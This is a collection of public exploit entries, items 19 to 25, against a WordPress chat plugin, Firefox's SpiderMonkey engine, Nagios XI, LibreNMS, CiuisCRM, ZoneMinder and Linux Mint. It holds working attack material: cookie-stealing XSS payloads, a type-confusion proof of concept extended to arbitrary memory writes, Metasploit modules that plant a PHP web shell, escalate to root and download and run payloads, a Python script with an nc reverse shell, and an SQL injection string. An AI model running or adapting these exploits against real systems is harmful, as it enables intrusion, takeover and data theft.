  19. # Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection # Google Dork: inurl:"wp-content/plugins/screets-lcx" # Date: 2019/06/25 # Exploit Author: m0ze # Vendor Homepage: https://screets.com/ # Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877 # Version: 2.8.3 # Tested on: Windows 10 / Parrot OS # CVE : - Info: Weak security measures like bad input field data filtering has been discovered in the «Live Chat Unlimited». Current version of this premium WordPress plugin is 2.8.3. PoC: Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter]. Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website. Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze
  20. The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable): // Run with --no-threads for increased reliability const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}]; function v7(v8,v9) { if (v4.length == 0) { v4[3] = {a: 5}; } // pop the last value. IonMonkey will, based on inferred types, conclude that the result // will always be an object, which is untrue when p[0] is fetched here. const v11 = v4.pop(); // Then if will crash here when dereferencing a controlled double value as pointer. v11.a; // Force JIT compilation. for (let v15 = 0; v15 < 10000; v15++) {} } var p = {}; p.__proto__ = [{a: 0}, {a: 1}, {a: 2}]; p[0] = -1.8629373288622089e-06; v4.__proto__ = p; for (let v31 = 0; v31 < 1000; v31++) { v7(); } When run, it produces a crash similar to the following: * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT) frame #0: 0x000025a3b99b26cb -> 0x25a3b99b26cb: cmp qword ptr [rax], r11 0x25a3b99b26ce: jne 0x25a3b99b26dd 0x25a3b99b26d4: cmovne rax, rcx 0x25a3b99b26d8: jmp 0x25a3b99b26f4 Target 0: (js) stopped. (lldb) reg read rax rax = 0x4141414141414141 I haven't thoroughly analyzed bug, but here is roughly what appears to be happening: * when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment) * in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes * v7 is executed a few times and all original elements from v4 are popped * the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types Afterwards, v7 is (re-)compiled by IonMonkey: * the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1] * since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3] * IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load * Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5] At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens: * The runtime call to ArrayPopDense is taken * this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0' * the array pop operation thus returns a double value However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable. To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types. Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386 Below is the original sample triggered by my fuzzer: // Run with -no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100 let v2 = 0; v2 = 7; const v4 = [13.37,13.37,13.37,13.37,13.37]; function v7(v8,v9) { const v10 = v2 + v4; v4[v10] = Object; const v11 = v4.pop(); for (let v15 = 0; v15 < 100; v15++) { } } v4.__proto__ = Object; for (let v19 = 0; v19 < 100; v19++) { const v23 = [-1000000000000.0,-1000000000000.0,-1000000000000.0]; let v24 = Object; v24.__proto__ = v23; const v26 = String.fromCharCode(v19); Object[0] = v26; } for (let v31 = 0; v31 < 100; v31++) { const v32 = v7(); } This bug can be exploited in a very similar way to https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1810 as they all allow the construction of type confusions between arbitrary objects. The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3: // Run with --no-threads for increased reliability let ab = new ArrayBuffer(0x1000); // Confuse these two types with each other below. let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310}; let y = new Uint32Array(0x1000); const v4 = [y, y, y, y, y]; function v7(v8,v9) { if (v4.length == 0) { v4[3] = y; } // pop the last value. IonMonkey will, based on inferred types, conclude that the result // will always be an object, which is untrue when p[0] is fetched here. const v11 = v4.pop(); // It will then crash here when writing to a controlled address (0x414141414141). v11[0] = 0x1337; // Force JIT compilation. for (let v15 = 0; v15 < 10000; v15++) {} } var p = {}; p.__proto__ = [y, y, y]; p[0] = x; v4.__proto__ = p; for (let v31 = 0; v31 < 1000; v31++) { v7(); } /* Crashes as follows in Firefox 66.0.3: (lldb) process attach --pid 12534 ... Executable module set to "/Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container". (lldb) c Process 12534 resuming Process 12534 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x414141414141) frame #0: 0x000037f56ae479bd -> 0x37f56ae479bd: mov dword ptr [rcx + 4*rax], 0x1337 Target 0: (plugin-container) stopped. (lldb) reg read rcx rax rcx = 0x0000414141414141 rax = 0x0000000000000000 */ The issue was fixed with commit https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e and released as an out-of-band security update on Jun 18th: https://www.mozilla.org/en-US/security/advisories/mfsa2019-18/ I looks like the core issue here was that IonMonkey, when trying to inline calls to Array.push and Array.pop into e.g. the MArrayPopShift instruction, didn't correctly verify that those operations would not end up accessing the prototype. It e.g. checked that no indexed properties (elements) exist on Array.prototype but this check could be bypassed by introducing an intermediate prototype such that the prototype chain looks something like array -> custom prototype with elements -> Array.prototype -> Object.prototype -> null. This is then problematic for at least two reasons: * There could be inferred element types for the array. IonMonkey then assumed that the inlined pop would always yield an object of the inferred type which wasn't true if the pop actually loaded an element from the prototype. This is the aspect that Fuzzilli triggered * By installing indexed getters and/or setter on the prototype, it becomes possible to turn this bug into an unexpected side-effect issue as the inlined push and pop operations are not supposed to trigger any side-effects The fix was then to avoid inlining push and pop if the access could potentially go to the prototype.
  21. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => "Nagios XI Magpie_debug.php Root Remote Code Execution", 'Description' => %q{ This module exploits two vulnerabilities in Nagios XI 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE 2018–15710 which allows for local privilege escalation. When combined, these two vulnerabilities give us a root reverse shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Lyne (@lynerc)', # First working exploit 'Guillaume André (@yaumn_)' # Metasploit module ], 'References' => [ ['CVE', '2018-15708'], ['CVE', '2018-15710'], ['EDB', '46221'], ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'], ['URL', 'https://www.tenable.com/security/research/tra-2018-37'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Privileged' => false, 'DisclosureDate' => "2018-11-14", 'DefaultTarget' => 0 )) register_options( [ OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']), OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5]) ]) @WRITABLE_PATHS = [ ['/usr/local/nagvis/share', '/nagvis'], ['/var/www/html/nagiosql', '/nagiosql'] ] @writable_path_index = 0 @MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php' @session_opened = false @webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php" @nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse" @meterpreter_name = Rex::Text.rand_text_alpha(10) end def on_request_uri(cli, req) if @current_payload == @webshell_name send_response(cli, '<?php system($_GET[\'cmd\'])?>') else send_response(cli, generate_payload_exe) end end def primer res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(@MAGPIERSS_PATH), 'vars_get' => { 'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " + '-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}" } }, 5) if !res || res.code != 200 print_error('Couldn\'t send malicious request to target.') end end def check_upload res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}") }, 5) if res && res.code == 200 print_status("#{@current_payload} uploaded with success!") return true else print_error("Couldn't upload #{@current_payload}.") return false end end def check res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(@MAGPIERSS_PATH) }, 5) if res && res.code == 200 return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit all_files_uploaded = false # Upload useful files on the target for i in 0..@WRITABLE_PATHS.size @writable_path_index = i for filename in [@webshell_name, @meterpreter_name] @current_payload = filename begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error if !check_upload break elsif filename == @meterpreter_name all_files_uploaded = true end end end if all_files_uploaded break end end meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}" register_file_for_cleanup( "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}", meterpreter_path, "/var/tmp/#{@nse_name}" ) # Commands to escalate privileges, some will work and others won't # depending on the Nagios version cmds = [ "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \ "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'", "echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \ "&& sudo nmap --script /var/tmp/#{@nse_name}" ] # Try to launch root shell for cmd in cmds res = send_request_cgi( { 'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"), 'method' => 'GET', 'vars_get' => { 'cmd' => cmd } }, 5) if !res && session_created? break end print_status('Couldn\'t get remote root shell, trying another method') end end end
  22. #!/usr/bin/python ''' # Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution # Date: 24/12/2018 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2018-20434 # Vendor Homepage: https://www.librenms.org/ # Version: v1.46 # Tested on: Ubuntu 18.04 / PHP 7.2.10 ''' import requests from urllib import urlencode import sys if len(sys.argv) != 5: print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport" sys.exit(0) # target (user input) target = sys.argv[1] # cookies (user input) raw_cookies = sys.argv[2] # remote host to connect to rhost = sys.argv[3] # remote port to connect to rport = sys.argv[4] # hostname to use (change it if you want) hostname = "dummydevice" # payload to create reverse shell payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport) # request headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101" } # request cookies cookies = {} for cookie in raw_cookies.split(";"): # print cookie c = cookie.split("=") cookies[c[0]] = c[1] def create_new_device(url): raw_request = { "hostname": hostname, "snmp": "on", "sysName": "", "hardware": "", "os": "", "snmpver": "v2c", "os_id": "", "port": "", "transport": "udp", "port_assoc_mode": "ifIndex", "community": payload, "authlevel": "noAuthNoPriv", "authname": "", "authpass": "", "cryptopass": "", "authalgo": "MD5", "cryptoalgo": "AES", "force_add": "on", "Submit": "" } full_url = url + "/addhost/" request_body = urlencode(raw_request) # send the device creation request request = requests.post( full_url, data=request_body, cookies=cookies, headers=headers ) text = request.text if "Device added" in text: print "[+] Device Created Sucssfully" return True else: print "[-] Cannot Create Device" return False def request_exploit(url): params = { "id": "capture", "format": "text", "type": "snmpwalk", "hostname": hostname } # send the payload call request = requests.get(url + "/ajax_output.php", params=params, headers=headers, cookies=cookies ) text = request.text if rhost in text: print "[+] Done, check your nc !" if create_new_device(target): request_exploit(target)
  23. =========================================================================================== # Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj. # Dork: N/A # Date: 27-05-2019 # Exploit Author: Mehmet EMİROĞLU # Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489 # Software Link: https://codecanyon.net/item/ciuis-crm/20473489 # Version: v1.6 # Category: Webapps # Tested on: Wamp64, Windows # CVE: N/A # Software Description: Ciuis CRM you can easily manage your customer relationships and save time on your business. =========================================================================================== # POC - SQLi # Parameters : eventType # Attack Pattern : -1+or+1%3d1+and(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a) # POST Method : http://localhost/ciuiscrm-16/calendar/addevent ===========================================================================================
  24. # Exploit Title: ZoneMinder 1.32.3 - Stored Cross Site Scripting (filters) # Google Dork: None # Date: 6/29/2019 # Exploit Author: Joey Lane # Vendor Homepage: https://zoneminder.com # Software Link: https://github.com/ZoneMinder/zoneminder/releases # Version: 1.32.3 # Tested on: Ubuntu 16.04 # CVE : Pending ZoneMinder 1.32.3 contains a stored cross site scripting vulnerability in the 'Filters' page. The 'Name' field used to create a new filter is not being properly sanitized. This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Filters page. The following curl command injects an alert(1) payload into the vulnerable field. The javascript is executed once a user visits the 'Filters' page. curl -X POST -H "Content-type: application/x-www-form-urlencoded" -d "Id=&action=Save&object=filter&filter%5BName%5D=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D=%3D&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_field%5D=Id&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Blimit%5D=100&filter%5BAutoExecuteCmd%5D=0&filter%5BAutoMoveTo%5D=&Save=Save" --cookie "zmSkin=classic; zmCSS=classic; ZMSESSID=(A VALID SESSION ID)" http://(A VALID HOST)/zm/index.php?view=filter&sort_field=StartTime&sort_asc=1
  25. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability", 'Description' => %q{ This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'b1ack0wl' # vuln discovery and exploit dev ], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'WfsDelay' => 60 }, 'Platform' => 'linux', 'Targets' => [ [ 'Linux Mint 18.3 and 19.1', { 'Arch' => ARCH_X64 } ] ], 'Privileged' => false, 'DefaultTarget' => 0)) end def generate_exploit_html() if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['LHOST'] else srv_host = datastore['SRVHOST'] end @filename = rand_text_alpha(4) cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20). html = %Q| <html> <head> <meta content="text/html;charset=utf-8" http-equiv="Content-Type"> <meta content="utf-8" http-equiv="encoding"> <title>paparoachfanclubdotcom</title> </head> <body> <script> lmao = document.createElement('a'); lmao.href= "ghelp://$(#{cmd_inj})"; document.body.appendChild(lmao); /* Needed to work with Firefox */ lmao.click(); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent =~ /curl\/\d/ # Command has been executed. Serve up the payload exe_payload = generate_payload_exe() print_status("Sending payload...") send_response(cli, exe_payload) register_file_for_cleanup("/tmp/#{@filename}") return else html = generate_exploit_html() print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end